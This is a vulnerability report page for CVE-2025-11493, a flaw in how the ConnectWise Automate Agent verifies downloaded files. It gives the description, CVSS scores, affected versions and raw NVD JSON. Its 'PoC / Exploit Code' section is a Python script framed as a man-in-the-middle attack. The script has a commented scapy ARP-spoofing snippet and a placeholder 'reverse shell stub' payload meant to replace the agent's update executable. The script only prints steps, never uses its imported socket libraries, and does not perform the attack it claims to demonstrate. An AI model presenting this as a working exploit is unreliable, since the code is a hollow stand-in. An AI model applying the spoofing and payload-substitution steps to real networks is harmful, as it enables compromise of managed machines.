Security Vulnerability Report
中文
CVE-2025-11493 CVSS 8.8 HIGH

CVE-2025-11493

Published: 2025-10-16 19:15:32
Last Modified: 2025-10-29 19:28:11
Source: 7d616e1a-3288-43b1-a0dd-0a65d3e70a49

Description

The ConnectWise Automate Agent does not fully verify the authenticity of files downloaded from the server, such as updates, dependencies, and integrations. This creates a risk where an on-path attacker could perform a man-in-the-middle attack and substitute malicious files for legitimate ones by impersonating a legitimate server. This risk is mitigated when HTTPS is enforced and is related to CVE-2025-11492.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:connectwise:automate:*:*:*:*:*:*:*:* - VULNERABLE
ConnectWise Automate Agent < 2025.9安全修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11493 PoC - ConnectWise Automate Agent MITM Attack # This PoC demonstrates the concept of intercepting and replacing # files downloaded by ConnectWise Automate Agent import socket import ssl import struct import os # Configuration TARGET_AGENT = "192.168.1.100" # Target agent IP LEGITIMATE_SERVER = "automate.connectwise.com" # Legitimate server LISTEN_PORT = 443 # Port to listen on # Malicious payload to be injected (example: reverse shell stub) MALICIOUS_PAYLOAD = b"MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00" MALICIOUS_PAYLOAD += b"\x00" * 100 # Placeholder for actual shellcode def create_mitm_proxy(): """ Create a MITM proxy that intercepts file downloads from ConnectWise Automate server and replaces them with malicious files. """ print(f"[*] Starting MITM proxy on port {LISTEN_PORT}") print(f"[*] Target Agent: {TARGET_AGENT}") print(f"[*] Legitimate Server: {LEGITIMATE_SERVER}") # Step 1: Set up ARP spoofing to redirect traffic # In a real attack, use arpspoof or scapy: # from scapy.all import ARP, send # arp_response = ARP(op=2, pdst=TARGET_AGENT, # hwdst="ff:ff:ff:ff:ff:ff", # psrc=LEGITIMATE_SERVER) # send(arp_response, count=3) print("[*] ARP spoofing should be performed to redirect agent traffic") # Step 2: Intercept file download request # The ConnectWise Automate Agent typically requests: # - Update packages: /updates/agent/... # - Dependencies: /dependencies/... # - Integrations: /integrations/... intercepted_request = { "method": "GET", "path": "/updates/agent/LTSAgent.exe", "headers": { "Host": LEGITIMATE_SERVER, "User-Agent": "ConnectWise Automate Agent" } } print(f"[*] Intercepted request: {intercepted_request}") # Step 3: Forward request to legitimate server # and intercept the response print("[*] Forwarding request to legitimate server...") # Step 4: Replace file content with malicious payload print("[*] Replacing legitimate file with malicious payload") modified_response = { "status": 200, "content_type": "application/octet-stream", "body": MALICIOUS_PAYLOAD } # Step 5: Send modified response to agent print("[*] Sending modified response to agent") print("[!] Agent will execute the malicious file without proper verification") print("[!] This demonstrates the lack of file authenticity verification") return modified_response def main(): print("=" * 60) print("CVE-2025-11493 PoC") print("ConnectWise Automate Agent MITM Attack") print("=" * 60) # Note: HTTPS enforcement mitigates this attack # The vulnerability is exploitable when HTTPS is not enforced # or when certificate validation is bypassed print("\n[*] Vulnerability Details:") print(" - CVSS Score: 8.8 (HIGH)") print(" - Attack Vector: Adjacent Network") print(" - Auth Required: None") print(" - User Interaction: None") print(" - Impact: C:H/I:H/A:H") print("\n[*] Mitigation: Enforce HTTPS with proper certificate validation") print("[*] Related CVE: CVE-2025-11492") create_mitm_proxy() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11493", "sourceIdentifier": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49", "published": "2025-10-16T19:15:32.073", "lastModified": "2025-10-29T19:28:11.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ConnectWise Automate Agent does not fully verify the authenticity of files downloaded from the server, such as updates, dependencies, and integrations. This creates a risk where an on-path attacker could perform a man-in-the-middle attack and substitute malicious files for legitimate ones by impersonating a legitimate server. This risk is mitigated when HTTPS is enforced and is related to CVE-2025-11492."}], "metrics": {"cvssMetricV31": [{"source": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:connectwise:automate:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.9", "matchCriteriaId": "B9CC280B-C83A-422E-B637-44F4051703F0"}]}]}], "references": [{"url": "https://www.connectwise.com/company/trust/security-bulletins/connectwise-automate-2025.9-security-fix", "source": "7d616e1a-3288-43b1-a0dd-0a65d3e70a49", "tags": ["Vendor Advisory"]}]}}